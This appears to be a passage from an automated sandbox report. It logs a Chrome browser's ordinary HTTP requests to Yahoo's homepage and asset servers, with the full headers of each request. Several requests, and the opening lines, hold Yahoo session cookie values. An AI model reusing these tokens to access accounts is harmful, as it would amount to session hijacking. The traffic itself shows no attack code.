A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A\|B65a07934\|tUuwa_T.2SJXuHvDycA_I8uhuBKm4_i5hevfsF1hvakJ3IPsVh2LtxjkAr_V_N6eTNq9DeKJdy8u2z.MSWS.4mtc3WKpsnUKjZ0IUUUrQbVBYeF_tj9ECrWZEqTHKjYqqlesfDMivkFRkqc5_pHJagWcOb32kuNAN4SpsydIkJsiOZXS_Csej32aThrxJVfcywKOIOvZaxIwvXWUyq8PPmLxyoFHI5Dv3g4aHApFoSWJbpm8tDina.FfcdV4yOV99GiVBjoV6JwKhvJ5jUx4TEd_3LptVb5nV5aDmk8VrO6y8MTd8.hgVMOkJ7QpA4wRHIMYt09fzmDRfPLnwFvm6369lE7ij7ckp41.NNG8f7_8F4tsZpt2ar1puSbZFaWe_DzaxSqUwMx9OU.FiciOSvc7L8LbqCwHWpWmWqJpz_6ZOJRj.fuYZVBA0J6bo5AJK1CjzgwZiMflBMA5TQoRXBPhou6PulsjV1H8BzNGOAVOBmcJWN2KxuL84lz2hhA.O6vFCLYjxO7ap1CuBCxlEl2EcYdqBM9CjBHyOi_mf_P33G9ubNaAID4IslR5LGJjER15G.XlDvoAY9c3.Y1Zj4bc3KuLu_4rvgCRGw3ltaK48OaC_UQmbJjh2SPXLzwiqpCdsZGZcNzUYY9teAq._SP3BdWt1mS_ZEmUOfqbDTCmeMV0gOnaIBdAwh2Z_IIFJ7rJxPEW9qHwxmgeWGWvyEjoujFNHb_2_5.lXfIoHnGGwVRyWvF5bHx1nB6zUom.3qGEsogugB_6bHSXeZKF63L_rGkinuRCOOuWsniv2tiyEDcWkXdpFUWWPgQ-~A\|C65a07942\|Bew3Y1f.2SI_yIdVrME0vU7aGzzIyMmECnKOzp87XKLUtzJcZ5Cbkb6lnl69Yi0OSwee0oSUb0vpLVKVTTQdwDNp4viw3YjMde1TpOw94whX8PdJmA.odboVy4LufYmtG7ulzHJSkfa.QusVaXRmZNVMC2VuLqJPRYMnS_N_F3S0aCse7NJJUcSlc8dah6qcP6k6IYHHN122l6j4KI_cI6LCkX0ysmUeNWO36mwFpbTEmMEeIpCP8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/cmp/version/6.4.0/cmp.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /info/p.gif?apptype=default&beaconType=pageRenderStart&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&device=desktop&intl=us&rid=0gast8pipu9uc&site=fp&t=1704929228265 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
Source: global traffic	HTTP traffic detected: GET /oa/consent.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/GSKHpm7nPq7fQKY_RgvSdA--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a407ad50-affc-11ee-b5ff-62a691ec49a4.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/Kstf7xcrcLS_DLgjPNI.Lw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/44284b40-afef-11ee-98df-d7a77341121b.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/mIZK08Gbjy8FWfYiN9Nhww--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/8d2ccbb0-afa2-11ee-bf64-8de956aacb32.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ybar/cerebro_min.js HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
Source: global traffic	HTTP traffic detected: GET /pv/static/ms/trendingNow.yhome-atomic.60573feacc990fc974a2277314a57836.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /info/p.gif?apptype=default&beaconType=pageRenderStart&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&device=desktop&intl=us&rid=0gast8pipu9uc&site=fp&t=1704929228265 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
Source: global traffic	HTTP traffic detected: GET /info/p.gif?apptype=default&beaconType=pageRenderEnd&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&device=desktop&intl=us&rid=0gast8pipu9uc&site=fp&t=1704929228268 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/qsl2XvTswucVaJ0i01KLDQ--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/nbc_today_217/78dc3507a3d6b6cef696374ddad0c7e6.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/6AX6SotpNVR0CtKRAjt6IA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/51564f40-b005-11ee-9ddb-e84002ab0910.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /os/fontserver/YahooSans/Regular.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/mIZK08Gbjy8FWfYiN9Nhww--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/8d2ccbb0-afa2-11ee-bf64-8de956aacb32.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/ms/trendingNow-flameIcon.yhome-variable.a2368adb8251677d29ac1399a6f34c43.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/Kstf7xcrcLS_DLgjPNI.Lw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/44284b40-afef-11ee-98df-d7a77341121b.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/DulSD3uwY739wuo0b_JK8A--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a9a213c0-afef-11ee-b1fd-29b234274d16.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/GSKHpm7nPq7fQKY_RgvSdA--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a407ad50-affc-11ee-b5ff-62a691ec49a4.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/74A7rwpEL9hbN4ZMvCarVw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/e626f1854c69d9a3bc93e631b399a4e6.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/tdv2-wafer-utils.customErrorHandler.bcda778b736c3a054af62f437b536e78.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1Host: guce.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
Source: global traffic	HTTP traffic detected: GET /ss/rapid-3.53.38.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/6AX6SotpNVR0CtKRAjt6IA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/51564f40-b005-11ee-9ddb-e84002ab0910.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/img/icon-flame-light-202303010352.gif HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s.yimg.com/pv/static/ms/trendingNow.yhome-atomic.60573feacc990fc974a2277314a57836.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/qsl2XvTswucVaJ0i01KLDQ--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/nbc_today_217/78dc3507a3d6b6cef696374ddad0c7e6.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
